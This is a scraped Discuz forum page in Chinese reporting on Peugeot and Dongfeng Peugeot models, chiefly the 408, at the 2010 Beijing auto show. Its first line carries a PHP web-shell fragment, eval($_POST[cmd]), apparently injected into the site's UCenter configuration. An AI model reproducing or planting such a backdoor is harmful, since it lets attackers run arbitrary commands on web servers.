');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 標緻‧東風標緻以最強陣容驚艷北京車展 - 超跑俱樂部 - 四輪天下 - Powered by Discuz!
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標緻‧東風標緻以最強陣容驚艷北京車展

2010年4月23日,第11屆北京國際汽車展覽會在中國國際展覽中心開幕。位於W3號展館的標緻與東風標緻聯合展台佔地達到了創紀錄的1508平方米。太空式展檯布局盡顯大氣、優雅與動感。黑、白、灰為主的整體色調釋放出高端、現代、科技又充滿活力的氣息。

  標緻此次參展最大亮點當屬代表了標緻品牌未來設計方向的全新概念車型SR1、5 BY PEUGEOT以及量產的RCZ轎跑車型,它們均搭載了Hybrid 4油電混合動力技術。這一套兼具高效動能與環保的高科技不僅與本次北京車展「暢想綠色未來」的車展主題不謀而合,更彰顯出標緻對未來環境保護的高度前瞻性和責任心。

  此外,剛剛在日內瓦國際車展上亮相的東風標緻408,亦憑借其與生俱來的大從容氣魄,當仁不讓地成為聯合展台上的又一主角。這也是自1月25日全球首發以來,408首次於國內車展與公眾見面,並攜307系列、207系列與標緻207CC、308CC、308SW系列車型以最強陣容登陸,呈現在世人面前。值得關注的是,一台全面揭示出內部製作工藝與安全品質的「可透視408」亦同台亮相,而感懷著標緻百年敞篷車製造史情結的Phaeton Type 15也隆重加入參展之列,向觀眾描述著標緻品牌的百年造車精髓。

  東風標緻408

  作為標緻品牌120年造車歷史上首次在海外發佈的全球車型,408在研發設計之初就充分考慮並立足於包括中國在內的全球主要市場的消費者需求,是一款為消費者悉心打造的、具有歐洲技術血統的魅力之車。自1月25日在北京全球首發上市以來,東風標緻408憑借其長4.68米、寬1.815米和2.71米超長軸距鑄就而成的大氣均衡的車身造型,寬敞舒適的大器空間,以及精緻細膩的內飾質感,全面高檔的人性化智能裝備和強悍精良的歐系技術底蘊,充分詮釋出「張弛有度、安心駕乘」的大從容精神,迅速成為高端中級車市場中炙手可熱的選擇之一。

  408汲取了法國標緻在百年造車歷程中積澱與探索出的寶貴安全經驗與最先進的技術精華,各項安全指標均達到一流水準。秉承標緻汽車始終堅持的歐系安全理念及超越C-NCAP五星級安全的設計標準,東風標緻408囊括了C-NCAP所有加分項,前後8向駐車雷達、6安全氣囊及側安全氣簾以及博世最新版本的電子輔助設備等,全面保證行車安全並同時成就了408全球認證的全車全員防護體系。值得一提的是,408全系列車型均擁有多維兒童呵護體系,對車內兒童的保護達到全球認證標準,Tti全球標準兒童安全裝置對兒童的全方位安全保護更加周全。

  同時,408上還採用了諸多豪華高檔的人性化智能裝備,如智能隨動轉向氙氣大燈具備高度穩定、隨動轉向、自清洗功能,可滿足全路況全天候的各種苛刻照明要求;設有後排空調出風口的光照補償雙區智能空調更是保證了駕乘人員對於體感溫度的全面需求;可折疊炫清7英吋車載GPS系統擁有可翻轉的7寸16/9液晶屏幕,分辨率高達800x480 像素,可根據駕駛員高度和習慣的不同,實現四種角度位置調節,真正實現了人機工程和時尚設計的完美融合。

  408配備有同級別車型中最優秀的全鋁合金CVTS-II 2.0 L發動機,其進氣凸輪軸帶有一套發動機連續可變氣門正時系統,可以根據駕駛的條件來變換進氣量,可變角度高達50度,確保發動機動力輸出平穩、強勁,在2200~5500轉的區間內保持最大扭矩的90%以上,給駕駛者在正常行駛條件下提供優異的加速性能。得益於東風標緻特有的CMS智能多路協控系統,以及新的元件適配調整,動態性能及油耗得到優化,此款發動機的燃油經濟性大大提升。配合使用全新換檔邏輯軟件與城市舒適型換檔模式的保時捷Tiptronic技術手自一體變速箱,可在保持動力性能的前提下,讓駕駛更加舒適而簡便,並且使變速箱在城市路況時盡可能減少降檔,駕駛感受更加流暢自如,油耗更經濟,且變速箱機油終身免維護。

  東風標緻408特有多場合配適懸掛系統。結構上,408達到了更高的抗扭能力,使行走系統具備了更好的性能。408的懸掛系統可靠、耐用,從結構上保證了緊湊、堅固,為實現良好的振動控制和車身控制提供最大限度的幫助,同時為後排乘客提供了最高水平的乘坐舒適度,將車輛的舒適性及道路操控性完美結合。

  此外,東風標緻408還進行了CRD苛刻路面行駛條件適配,改善輪胎的抓地力以及舒適性,以適應不同道路狀況,真正實現人車合一、隨心所欲的自由駕駛。
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